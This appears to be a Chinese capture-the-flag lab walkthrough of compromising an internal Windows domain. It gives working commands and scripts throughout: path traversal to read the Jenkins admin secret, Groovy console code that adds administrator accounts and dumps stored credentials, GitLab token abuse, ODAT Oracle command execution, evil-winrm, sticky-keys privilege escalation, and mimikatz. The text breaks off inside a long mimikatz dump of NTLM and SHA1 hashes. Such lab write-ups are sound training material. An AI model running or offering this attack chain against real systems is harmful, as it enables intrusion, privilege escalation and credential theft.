Privilege
信息收集
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| start infoscan
39.99.158.138:80 open
39.99.158.138:445 open
39.99.158.138:135 open
39.99.158.138:139 open
39.99.158.138:8080 open
39.99.158.138:3306 open
[*] alive ports len is: 6
start vulscan
[*] NetInfo
[*]39.99.158.138
[->]XR-JENKINS
[->]172.22.14.7
[*] WebTitle http://39.99.158.138:8080 code:403 len:548 title:None
|
目录扫描一下,8080端口是Jenkins扫不出东西，看到80端口开放了，扫一下扫到www.zip
ai一秒钟审出来目录穿越，先读flag1
1
| /tools/content-log.php?logfile=../../../../../../../../../Users/Administrator/flag/flag01.txt
|
根据题目提示，读取jenkins的默认密码
1
| /tools/content-log.php?logfile=../../../../../../../../../ProgramData/Jenkins/.jenkins/secrets/initialAdminPassword
|
读到密码510235cf43f14e83b88a9f144199655b
然后admin登入后台，然后后台有个地方能执行命令
能执行groovy脚本，由于是windows环境，之前执行命令添加用户然后rdp上去了
1
2
| println "net user test qwer1234! /add".execute().text
println "net localgroup administrators test /add".execute().text
|
传上去先fscan扫一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
| start infoscan
(icmp) Target 172.22.14.7 is alive
(icmp) Target 172.22.14.11 is alive
(icmp) Target 172.22.14.16 is alive
(icmp) Target 172.22.14.31 is alive
(icmp) Target 172.22.14.46 is alive
[*] Icmp alive hosts len is: 5
172.22.14.7:8080 open
172.22.14.31:1521 open
172.22.14.7:3306 open
172.22.14.46:445 open
172.22.14.31:445 open
172.22.14.11:135 open
172.22.14.11:445 open
172.22.14.7:445 open
172.22.14.46:139 open
172.22.14.31:139 open
172.22.14.11:139 open
172.22.14.46:135 open
172.22.14.7:139 open
172.22.14.31:135 open
172.22.14.7:135 open
172.22.14.46:80 open
172.22.14.16:80 open
172.22.14.7:80 open
172.22.14.16:22 open
172.22.14.16:8060 open
172.22.14.11:88 open
172.22.14.16:9094 open
[*] alive ports len is: 22
start vulscan
[+] NetInfo:
[*]172.22.14.7
[->]XR-JENKINS
[->]172.22.14.7
[+] NetInfo:
[*]172.22.14.11
[->]XR-DC
[->]172.22.14.11
[+] NetInfo:
[*]172.22.14.46
[->]XR-0923
[->]172.22.14.46
[*] WebTitle:http://172.22.14.16:8060 code:404 len:555 title:404 Not Found
[+] NetInfo:
[*]172.22.14.31
[->]XR-ORACLE
[->]172.22.14.31
[*] 172.22.14.46 XIAORANG\XR-0923
[*] 172.22.14.31 WORKGROUP\XR-ORACLE
[*] WebTitle:http://172.22.14.7:8080 code:403 len:548 title:None
[*] 172.22.14.11 [+]DC XIAORANG\XR-DC
[*] WebTitle:http://172.22.14.46 code:200 len:703 title:IIS Windows Server
[*] WebTitle:http://172.22.14.7 code:200 len:54603 title:XR SHOP
[*] WebTitle:http://172.22.14.16 code:302 len:99 title:None 跳转url: http://172.22.14.16/users/sign_in
[*] WebTitle:http://172.22.14.16/users/sign_in code:200 len:32807 title:Sign in · GitLab
[+] http://172.22.14.7/www.zip poc-yaml-backup-file
|
整理一下
1
2
3
4
5
| 172.22.14.7 本机
172.22.14.16 GitLab
172.22.14.31 WORKGROUP\XR-ORACLE
172.22.14.46 IIS Windows Server XIAORANG\XR-0923
172.22.14.11 DC域控
|
提示找gitlabapitoken
拷打ai看一下怎么用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.domains.*
import com.dabsquared.gitlabjenkins.connection.GitLabApiTokenImpl
import hudson.util.Secret
// 列出所有 GitLab Token 凭证
SystemCredentialsProvider.getInstance().getCredentials(GitLabApiTokenImpl.class).each {
println "ID: ${it.id}"
println "Token: ${it.apiToken?.plainText}"
}
// 或者直接暴力 dump 所有 Secret
def secrets = SystemCredentialsProvider.getInstance().getCredentials(com.cloudbees.plugins.credentials.common.StandardCredentials.class)
secrets.each {
if (it.hasProperty('secret')) println "${it.id}: ${it.secret?.plainText}"
if (it.hasProperty('password')) println "${it.id}: ${it.password?.plainText}"
if (it.hasProperty('apiToken')) println "${it.id}: ${it.apiToken?.plainText}"
}
|
不过好像版本差异这个用不了会报错
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| import com.cloudbees.plugins.credentials.SystemCredentialsProvider
import com.dabsquared.gitlabjenkins.connection.GitLabApiTokenImpl
import hudson.util.Secret
def store = SystemCredentialsProvider.getInstance()
// 遍历所有 domain 下的所有 credential
store.domainCredentialsMap.each { domain, creds ->
creds.each { cred ->
// GitLab API Token
if (cred instanceof GitLabApiTokenImpl) {
println "== GitLab Token =="
println "id: ${cred.id}"
println "token: ${cred.apiToken?.plainText}"
}
// 兜底：任何带 secret/password/apiToken 的
else {
def s = null
try { s = cred.secret?.plainText } catch (ignored) {}
try { s = s ?: cred.password?.plainText } catch (ignored) {}
try { s = s ?: cred.apiToken?.plainText } catch (ignored) {}
if (s) println "${cred.class.simpleName} [${cred.id}] = ${s}"
}
}
}
|
拿到回显的token
1
2
3
4
| == GitLab Token ==
id: 9eca4a05-e058-4810-b952-bd6443e6d9a8
token: REDACTED
Result: {com.cloudbees.plugins.credentials.domains.Domain@0=[com.dabsquared.gitlabjenkins.connection.GitLabApiTokenImpl@3a621879]}
|
这里先搭代理，因为gitlab在内网
1
| proxychains4 curl --header "PRIVATE-TOKEN:REDACTED" "http://172.22.14.16/api/v4/projects"
|
拿到超长一坨信息丢给ai分析
1
2
3
| proxychains4 git clone http://oauth2:REDACTED@172.22.14.16/xrlab/internal-secret.git
proxychains4 git clone http://gitlab.xiaorang.lab:REDACTED@172.22.14.16/xrlab/xradmin.git
proxychains4 git clone http://gitlab.xiaorang.lab:REDACTED@172.22.14.16/xrlab/xrwiki.git
|
这里发现了数据库的账密，ODAT(Oracle数据库攻击工具)可远程测试Oracle数据库的安全性。是一个rce+提权的工具，依旧加账户
1
2
| proxychains4 odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user test qwer1234! /add'
proxychains4 odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup administrators test /add'
|
xfreerdp连上去
1
| proxychains4 xfreerdp3 /v:172.22.14.31 /u:test /p:'qwer1234!' /cert:ignore /sec:rdp /drive:share,/tmp
|
连不上可以清理一下/etc/krb5.conf，这里我选择
1
| mv /etc/krb5.conf /etc/krb5.conf.bak
|
rdp上去老地方拿到flag2
然后之前拿到的internal-secret里面有个账密是
1
| XR-0923 | zhangshuai | wSbEajHzZs
|
我们前面刚好也扫出来这个，直接rdp试试了
1
| proxychains4 xfreerdp3 /v:172.22.14.46 /u:zhangshuai /p:'wSbEajHzZs'
|
但是他不是管理员需要提权
zhangshuai是Remote Management Use组的，可以打winrm，奇安信攻防社区-攻防技巧 | 域渗透中WinRM的技巧细节与利用，Winrm服务默认端口：5985（HTTP）与 5986(HTTPS),其实是Remote Management Users 是 WinRM 默认授权连接的组之一，只要 zhangshuai 是目标机器上这个组的成员，他就能通过 WinRM / PowerShell Remoting 建远程会话。
1
| proxychains4 evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs
|
SeRestorePrivilege的权限启用了，可以用粘滞键提权
1
2
| ren C://windows/system32/sethc.exe C://windows/system32/sethc.bak
ren C://windows/system32/cmd.exe C://windows/system32/sethc.exe
|
然后继续创个用户rdp进去
1
2
3
| net user test qwer1234! /add
net localgroup administrators test /add
proxychains4 xfreerdp3 /v:172.22.14.46 /u:test /p:'qwer1234!' /drive:share,/tmp
|
传个猕猴桃
1
2
| privilege::debug
sekurlsa::logonpasswords
|
看一下抓下来的hash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
| mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 11521287 (00000000:00afcd07)
Session : RemoteInteractive from 3
User Name : test
Domain : XR-0923
Logon Server : XR-0923
Logon Time : 2026/8/24 22:27:54
SID : S-1-5-21-754105099-1176710061-2177073800-1002
msv :
[00000003] Primary
* Username : test
* Domain : XR-0923
* NTLM : 6912928308e3cda903e6d75bd6091a20
* SHA1 : 4687d6f9b23b55f21825bc5157fe2cbe707c07de
tspkg :
wdigest :
* Username : test
* Domain : XR-0923
* Password : (null)
kerberos :
* Username : test
* Domain : XR-0923
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 0 ; 11505435 (00000000:00af8f1b)
Session : Interactive from 3
User Name : DWM-3
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/8/24 22:27:54
SID : S-1-5-90-0-3
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 0dfd4440ed9322a87416bbc3742994cc
* SHA1 : 83d6d14099bb7276ab134430fc75b40624f47256
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : 0b a5 ec 1b 45 49 32 4c 6b ce 4a 76 60 85 b4 19 d3 9d f2 b0 da 35 69 d0 4b 9e 1f 2d 73 24 8d 5a 3c 8c ca de 3d 4b 3b 96 93 3b 1d 07 a8 ad 23 2d 5b 02 b3 e4 92 28 6f ff 3b 85 3a 5b 75 46 60 66 87 a7 09 32 06 56 d5 6d 82 39 1e a7 e7 e5 4e c6 ad 76 0a 80 82 97 3c aa 65 6c b0 72 41 ad 88 35 58 7d f0 0e 22 b1 09 15 28 74 bc d4 d5 ec a3 7a 6a 86 92 6f c3 52 e2 23 ae 4b 8a e6 1b b4 19 cd f7 f9 0f 2f 92 47 e1 1f 90 09 a5 4d ac 33 fa a9 dd d1 55 c4 61 40 ef c4 db 0d 24 9b 17 ce 1e 36 87 24 3e 39 e3 94 ee 54 2c 1f 43 69 fd df 7d 60 e3 7c da 84 7b e6 aa 97 8e 3e 0d c7 a0 af da a3 e6 fe c4 cc cc c0 17 eb cc a2 38 a7 ac b4 4f 37 7b be 10 b8 34 87 61 42 32 9a 8e ff 74 d3 f5 10 a5 30 99 c4 5f f1 99 e3 26 cd bd f3 e9 1d dd 0c
ssp :
credman :
cloudap :
Authentication Id : 0 ; 8922598 (00000000:008825e6)
Session : RemoteInteractive from 2
User Name : zhangshuai
Domain : XR-0923
Logon Server : XR-0923
Logon Time : 2026/8/24 22:07:17
SID : S-1-5-21-754105099-1176710061-2177073800-1001
msv :
[00000003] Primary
* Username : zhangshuai
* Domain : XR-0923
* NTLM : f97d5a4b44b11bc257a63c3f76f18a9a
* SHA1 : f6ff2714d556240436758527e190e329f05cd43d
tspkg :
wdigest :
* Username : zhangshuai
* Domain : XR-0923
* Password : (null)
kerberos :
* Username : zhangshuai
* Domain : XR-0923
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 0 ; 8888795 (00000000:0087a1db)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/8/24 22:07:16
SID : S-1-5-90-0-2
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 0dfd4440ed9322a87416bbc3742994cc
* SHA1 : 83d6d14099bb7276ab134430fc75b40624f47256
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : 0b a5 ec 1b 45 49 32 4c 6b ce 4a 76 60 85 b4 19 d3 9d f2 b0 da 35 69 d0 4b 9e 1f 2d 73 24 8d 5a 3c 8c ca de 3d 4b 3b 96 93 3b 1d 07 a8 ad 23 2d 5b 02 b3 e4 92 28 6f ff 3b 85 3a 5b 75 46 60 66 87 a7 09 32 06 56 d5 6d 82 39 1e a7 e7 e5 4e c6 ad 76 0a 80 82 97 3c aa 65 6c b0 72 41 ad 88 35 58 7d f0 0e 22 b1 09 15 28 74 bc d4 d5 ec a3 7a 6a 86 92 6f c3 52 e2 23 ae 4b 8a e6 1b b4 19 cd f7 f9 0f 2f 92 47 e1 1f 90 09 a5 4d ac 33 fa a9 dd d1 55 c4 61 40 ef c4 db 0d 24 9b 17 ce 1e 36 87 24 3e 39 e3 94 ee 54 2c 1f 43 69 fd df 7d 60 e3 7c da 84 7b e6 aa 97 8e 3e 0d c7 a0 af da a3 e6 fe c4 cc cc c0 17 eb cc a2 38 a7 ac b4 4f 37 7b be 10 b8 34 87 61 42 32 9a 8e ff 74 d3 f5 10 a5 30 99 c4 5f f1 99 e3 26 cd bd f3 e9 1d dd 0c
ssp :
credman :
cloudap :
Authentication Id : 0 ; 8886603 (00000000:0087994b)
Session : Interactive from 2
User Name : UMFD-2
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 2026/8/24 22:07:16
SID : S-1-5-96-0-2
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 0dfd4440ed9322a87416bbc3742994cc
* SHA1 : 83d6d14099bb7276ab134430fc75b40624f47256
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : 0b a5 ec 1b 45 49 32 4c 6b ce 4a 76 60 85 b4 19 d3 9d f2 b0 da 35 69 d0 4b 9e 1f 2d 73 24 8d 5a 3c 8c ca de 3d 4b 3b 96 93 3b 1d 07 a8 ad 23 2d 5b 02 b3 e4 92 28 6f ff 3b 85 3a 5b 75 46 60 66 87 a7 09 32 06 56 d5 6d 82 39 1e a7 e7 e5 4e c6 ad 76 0a 80 82 97 3c aa 65 6c b0 72 41 ad 88 35 58 7d f0 0e 22 b1 09 15 28 74 bc d4 d5 ec a3 7a 6a 86 92 6f c3 52 e2 23 ae 4b 8a e6 1b b4 19 cd f7 f9 0f 2f 92 47 e1 1f 90 09 a5 4d ac 33 fa a9 dd d1 55 c4 61 40 ef c4 db 0d 24 9b 17 ce 1e 36 87 24 3e 39 e3 94 ee 54 2c 1f 43 69 fd df 7d 60 e3 7c da 84 7b e6 aa 97 8e 3e 0d c7 a0 af da a3 e6 fe c4 cc cc c0 17 eb cc a2 38 a7 ac b4 4f 37 7b be 10 b8 34 87 61 42 32 9a 8e ff 74 d3 f5 10 a5 30 99 c4 5f f1 99 e3 26 cd bd f3 e9 1d dd 0c
ssp :
credman :
cloudap :
Authentication Id : 0 ; 3537630 (00000000:0035fade)
Session : Service from 0
User Name : DefaultAppPool
Domain : IIS APPPOOL
Logon Server : (null)
Logon Time : 2026/8/24 21:00:24
SID : S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 0dfd4440ed9322a87416bbc3742994cc
* SHA1 : 83d6d14099bb7276ab134430fc75b40624f47256
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : 0b a5 ec 1b 45 49 32 4c 6b ce 4a 76 60 85 b4 19 d3 9d f2 b0 da 35 69 d0 4b 9e 1f 2d 73 24 8d 5a 3c 8c ca de 3d 4b 3b 96 93 3b 1d 07 a8 ad 23 2d 5b 02 b3 e4 92 28 6f ff 3b 85 3a 5b 75 46 60 66 87 a7 09 32 06 56 d5 6d 82 39 1e a7 e7 e5 4e c6 ad 76 0a 80 82 97 3c aa 65 6c b0 72 41 ad 88 35 58 7d f0 0e 22 b1 09 15 28 74 bc d4 d5 ec a3 7a 6a 86 92 6f c3 52 e2 23 ae 4b 8a e6 1b b4 19 cd f7 f9 0f 2f 92 47 e1 1f 90 09 a5 4d ac 33 fa a9 dd d1 55 c4 61 40 ef c4 db 0d 24 9b 17 ce 1e 36 87 24 3e 39 e3 94 ee 54 2c 1f 43 69 fd df 7d 60 e3 7c da 84 7b e6 aa 97 8e 3e 0d c7 a0 af da a3 e6 fe c4 cc cc c0 17 eb cc a2 38 a7 ac b4 4f 37 7b be 10 b8 34 87 61 42 32 9a 8e ff 74 d3 f5 10 a5 30 99 c4 5f f1 99 e3 26 cd bd f3 e9 1d dd 0c
ssp :
credman :
cloudap :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : XR-0923$
Domain : XIAORANG
Logon Server : (null)
Logon Time : 2026/8/24 20:28:18
SID : S-1-5-20
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 0dfd4440ed9322a87416bbc3742994cc
* SHA1 : 83d6d14099bb7276ab134430fc75b40624f47256
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : xr-0923$
* Domain : XIAORANG.LAB
* Password : 0b a5 ec 1b 45 49 32 4c 6b ce 4a 76 60 85 b4 19 d3 9d f2 b0 da 35 69 d0 4b 9e 1f 2d 73 24 8d 5a 3c 8c ca de 3d 4b 3b 96 93 3b 1d 07 a8 ad 23 2d 5b 02 b3 e4 92 28 6f ff 3b 85 3a 5b 75 46 60 66 87 a7 09 32 06 56 d5 6d 82 39 1e a7 e7 e5 4e c6 ad 76 0a 80 82 97 3c aa 65 6c b0 72 41 ad 88 35 58 7d f0 0e 22 b1 09 15 28 74 bc d4 d5 ec a3 7a 6a 86 92 6f c3 52 e2 23 ae 4b 8a e6 1b b4 19 cd f7 f9 0f 2f 92 47 e1 1f 90 09 a5 4d ac 33 fa a9 dd d1 55 c4 61 40 ef c4 db 0d 24 9b 17 ce 1e 36 87 24 3e 39 e3 94 ee 54 2c 1f 43 69 fd df 7d 60 e3 7c da 84 7b e6 aa 97 8e 3e 0d c7 a0 af da a3 e6 fe c4 cc cc c0 17 eb cc a2 38 a7 ac b4 4f 37 7b be 10 b8 34 87 61 42 32 9a 8e ff 74 d3 f5 10 a5 30 99 c4 5f f1 99 e3 26 cd bd f3 e9 1d dd 0c
ssp :
credman :
cloudap :
Authentication Id : 0 ; 33957 (00000000:000084a5)
Session : Interactive from 0
User Name : UMFD-0
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 2026/8/24 20:28:18
SID : S-1-5-96-0-0
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 0dfd4440ed9322a87416bbc3742994cc
* SHA1 : 83d6d14099bb7276ab134430fc75b40624f47256
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : 0b a5 ec 1b 45 49 32 4c 6b ce 4a 76 60 85 b4 19 d3 9d f2 b0 da 35 69 d0 4b 9e 1f 2d 73 24 8d 5a 3c 8c ca de 3d 4b 3b 96 93 3b 1d 07 a8 ad 23 2d 5b 02 b3 e4 92 28 6f ff 3b 85 3a 5b 75 46 60 66 87 a7 09 32 06 56 d5 6d 82 39 1e a7 e7 e5 4e c6 ad 76 0a 80 82 97 3c aa 65 6c b0 72 41 ad 88 35 58 7d f0 0e 22 b1 09 15 28 74 bc d4 d5 ec a3 7a 6a 86 92 6f c3 52 e2 23 ae 4b 8a e6 1b b4 19 cd f7 f9 0f 2f 92 47 e1 1f 90 09 a5 4d ac 33 fa a9 dd d1 55 c4 61 40 ef c4 db 0d 24 9b 17 ce 1e 36 87 24 3e 39 e3 94 ee 54 2c 1f 43 69 fd df 7d 60 e3 7c da 84 7b e6 aa 97 8e 3e 0d c7 a0 af da a3 e6 fe c4 cc cc c0 17 eb cc a2 38 a7 ac b4 4f 37 7b be 10 b8 34 87 61 42 32 9a 8e ff 74 d3 f5 10 a5 30 99 c4 5f f1 99 e3 26 cd bd f3 e9 1d dd 0c
ssp :
credman :
cloudap :
Authentication Id : 0 ; 32811 (00000000:0000802b)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2026/8/24 20:28:18
SID :
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 0dfd4440ed9322a87416bbc3742994cc
* SHA1 : 83d6d14099bb7276ab134430fc75b40624f47256
tspkg :
wdigest :
kerberos :
ssp :
credman :
cloudap :
Authentication Id : 0 ; 11521316 (00000000:00afcd24)
Session : RemoteInteractive from 3
User Name : test
Domain : XR-0923
Logon Server : XR-0923
Logon Time : 2026/8/24 22:27:54
SID : S-1-5-21-754105099-1176710061-2177073800-1002
msv :
[00000003] Primary
* Username : test
* Domain : XR-0923
* NTLM : 6912928308e3cda903e6d75bd6091a20
* SHA1 : 4687d6f9b23b55f21825bc5157fe2cbe707c07de
tspkg :
wdigest :
* Username : test
* Domain : XR-0923
* Password : (null)
kerberos :
* Username : test
* Domain : XR-0923
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 0 ; 11506927 (00000000:00af94ef)
Session : Interactive from 3
User Name : DWM-3
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/8/24 22:27:54
SID : S-1-5-90-0-3
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 0dfd4440ed9322a87416bbc3742994cc
* SHA1 : 83d6d14099bb7276ab134430fc75b40624f47256
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : 0b a5 ec 1b 45 49 32 4c 6b ce 4a 76 60 85 b4 19 d3 9d f2 b0 da 35 69 d0 4b 9e 1f 2d 73 24 8d 5a 3c 8c ca de 3d 4b 3b 96 93 3b 1d 07 a8 ad 23 2d 5b 02 b3 e4 92 28 6f ff 3b 85 3a 5b 75 46 60 66 87 a7 09 32 06 56 d5 6d 82 39 1e a7 e7 e5 4e c6 ad 76 0a 80 82 97 3c aa 65 6c b0 72 41 ad 88 35 58 7d f0 0e 22 b1 09 15 28 74 bc d4 d5 ec a3 7a 6a 86 92 6f c3 52 e2 23 ae 4b 8a e6 1b b4 19 cd f7 f9 0f 2f 92 47 e1 1f 90 09 a5 4d ac 33 fa a9 dd d1 55 c4 61 40 ef c4 db 0d 24 9b 17 ce 1e 36 87 24 3e 39 e3 94 ee 54 2c 1f 43 69 fd df 7d 60 e3 7c da 84 7b e6 aa 97 8e 3e 0d c7 a0 af da a3 e6 fe c4 cc cc c0 17 eb cc a2 38 a7 ac b4 4f 37 7b be 10 b8 34 87 61 42 32 9a 8e ff 74 d3 f5 10 a5 30 99 c4 5f f1 99 e3 26 cd bd f3 e9 1d dd 0c
ssp :
credman :
cloudap :
Authentication Id : 0 ; 11503874 (00000000:00af8902)
Session : Interactive from 3
User Name : UMFD-3
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 2026/8/24 22:27:54
SID : S-1-5-96-0-3
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 0dfd4440ed9322a87416bbc3742994cc
* SHA1 : 83d6d14099bb7276ab134430fc75b40624f47256
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : 0b a5 ec 1b 45 49 32 4c 6b ce 4a 76 60 85 b4 19 d3 9d f2 b0 da 35 69 d0 4b 9e 1f 2d 73 24 8d 5a 3c 8c ca de 3d 4b 3b 96 93 3b 1d 07 a8 ad 23 2d 5b 02 b3 e4 92 28 6f ff 3b 85 3a 5b 75 46 60 66 87 a7 09 32 06 56 d5 6d 82 39 1e a7 e7 e5 4e c6 ad 76 0a 80 82 97 3c aa 65 6c b0 72 41 ad 88 35 58 7d f0 0e 22 b1 09 15 28 74 bc d4 d5 ec a3 7a 6a 86 92 6f c3 52 e2 23 ae 4b 8a e6 1b b4 19 cd f7 f9 0f 2f 92 47 e1 1f 90 09 a5 4d ac 33 fa a9 dd d1 55 c4 61 40 ef c4 db 0d 24 9b 17 ce 1e 36 87 24 3e 39 e3 94 ee 54 2c 1f 43 69 fd df 7d 60 e3 7c da 84 7b e6 aa 97 8e 3e 0d c7 a0 af da a3 e6 fe c4 cc cc c0 17 eb cc a2 38 a7 ac b4 4f 37 7b be 10 b8 34 87 61 42 32 9a 8e ff 74 d3 f5 10 a5 30 99 c4 5f f1 99 e3 26 cd bd f3 e9 1d dd 0c
ssp :
credman :
cloudap :
Authentication Id : 0 ; 8922569 (00000000:008825c9)
Session : RemoteInteractive from 2
User Name : zhangshuai
Domain : XR-0923
Logon Server : XR-0923
Logon Time : 2026/8/24 22:07:17
SID : S-1-5-21-754105099-1176710061-2177073800-1001
msv :
[00000003] Primary
* Username : zhangshuai
* Domain : XR-0923
* NTLM : f97d5a4b44b11bc257a63c3f76f18a9a
* SHA1 : f6ff2714d556240436758527e190e329f05cd43d
tspkg :
wdigest :
* Username : zhangshuai
* Domain : XR-0923
* Password : (null)
kerberos :
* Username : zhangshuai
* Domain : XR-0923
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 0 ; 8888413 (00000000:0087a05d)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/8/24 22:07:16
SID : S-1-5-90-0-2
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 0dfd4440ed9322a87416bbc3742994cc
* SHA1 : 83d6d14099bb7276ab134430fc75b40624f47256
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : 0b a5 ec 1b 45 49 32 4c 6b ce 4a 76 60 85 b4 19 d3 9d f2 b0 da 35 69 d0 4b 9e 1f 2d 73 24 8d 5a 3c 8c ca de 3d 4b 3b 96 93 3b 1d 07 a8 ad 23 2d 5b 02 b3 e4 92 28 6f ff 3b 85 3a 5b 75 46 60 66 87 a7 09 32 06 56 d5 6d 82 39 1e a7 e7 e5 4e c6 ad 76 0a 80 82 97 3c aa 65 6c b0 72 41 ad 88 35 58 7d f0 0e 22 b1 09 15 28 74 bc d4 d5 ec a3 7a 6a 86 92 6f c3 52 e2 23 ae 4b 8a e6 1b b4 19 cd f7 f9 0f 2f 92 47 e1 1f 90 09 a5 4d ac 33 fa a9 dd d1 55 c4 61 40 ef c4 db 0d 24 9b 17 ce 1e 36 87 24 3e 39 e3 94 ee 54 2c 1f 43 69 fd df 7d 60 e3 7c da 84 7b e6 aa 97 8e 3e 0d c7 a0 af da a3 e6 fe c4 cc cc c0 17 eb cc a2 38 a7 ac b4 4f 37 7b be 10 b8 34 87 61 42 32 9a 8e ff 74 d3 f5 10 a5 30 99 c4 5f f1 99 e3 26 cd bd f3 e9 1d dd 0c
ssp :
credman :
cloudap :
Authentication Id : 0 ; 995 (00000000:000003e3)
Session : Service from 0
User Name : IUSR
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2026/8/24 20:28:21
SID : S-1-5-17
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
ssp :
credman :
cloudap :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2026/8/24 20:28:19
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 0 ; 64873 (00000000:0000fd69)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/8/24 20:28:19
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 8519c5a89b2cd4d679a5a36f26863e5d
* SHA1 : 42d8188bc30ff0880b838e368c6e5522b86f978d
tspkg :
wdigest :
* Username : XR-0923$
